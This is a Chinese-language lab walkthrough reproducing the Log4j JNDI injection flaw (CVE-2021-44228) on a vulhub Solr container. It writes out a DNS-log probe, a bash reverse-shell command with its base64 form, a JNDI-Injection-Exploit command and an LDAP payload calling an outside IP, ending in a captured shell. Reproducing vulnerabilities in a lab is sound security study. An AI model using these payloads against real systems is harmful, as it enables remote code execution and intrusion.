Apache Log4j漏洞复现
所用环境
宝塔云服务器
log4j2 是Apache的⼀个java日志框架,我们借助它进行日志相关操作管理,然而在2021年末log4j2爆出了远程代码执行漏洞,属于严重等级的漏洞。
apache log4j通过定义每⼀条日志信息的级别能够更加细致地控制日志⽣成地过程,受影响地版本中纯在JNDI注入漏洞,导致日志在记录用户输入地数据时,触发了注入漏洞,该漏洞可导致远程代码执行,且利用条件低,影响范围广,小到网站,大到可联网的车都受影响,建议使用了相关版本的应用或者插件,尽快升级修补,做好相关方措施,避免造成不必要的损失。
一、启动靶场容器并在浏览器中进行访问
#启动命令
cd vulhub/log4j/CVE-2021-44228
docker-compose up -d
docker ps
这里看到我们的容器端口为8983,在浏览器中访问该地址
这里我们访问成功
二、用dnslog测试注入效果
访问dnslog.cn获取一个新的链接
可以发现 /solr/admin/cores?action= 这里有个参数可以传,可以按照上面的原理 先构造⼀个请求传过去存在JNDI注入那么ldap服务端会执行我们传上去的payload然后在DNSLOG 平台上那里留下记录,我们可以看到留下了访问记录并且前面的参数被执行后给我们回显了java的版本号!
/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.0ww7ad.dnslog.cn}
刷新一下便看到了java的版本号
三、开始反弹Shell
# JDNI项⽬地址
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
# 反弹shell
bash -i >& /dev/tcp/172.16.1.159/6666 0>&1
# 反弹Shell-base64加密
YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMS4xNTkvNjY2NiAwPiYx
# 命令模板
java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c{echo,[经过base64编码后的命令]}|{base64,-d}|bash" -A [你的vpsip]
# 最终Payload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMS4xODYvNjk2OSAwPiYx}|{base64,-d}|{bash,-i}" -A "172.16.1.186"
# 备注
-C后⾯的参数是要执⾏的命令以及编码⽅式,-A后⾯就是对应ip地址。
这里已经生成了我们的恶意代码类
我们再打开一个终端来监听我们的6666端口
nc -lvvp 6666
拿取JDK1.8并构造Payload且直接访问..可以看到网页被重定向到了我们的恶意类网址...
/solr/admin/cores?action=${jndi:ldap://101.42.118.221:1389/jyvecl}
此时我们就获取了该网站的shell,我们输入ls来看看命令是否被执行
拿下!!!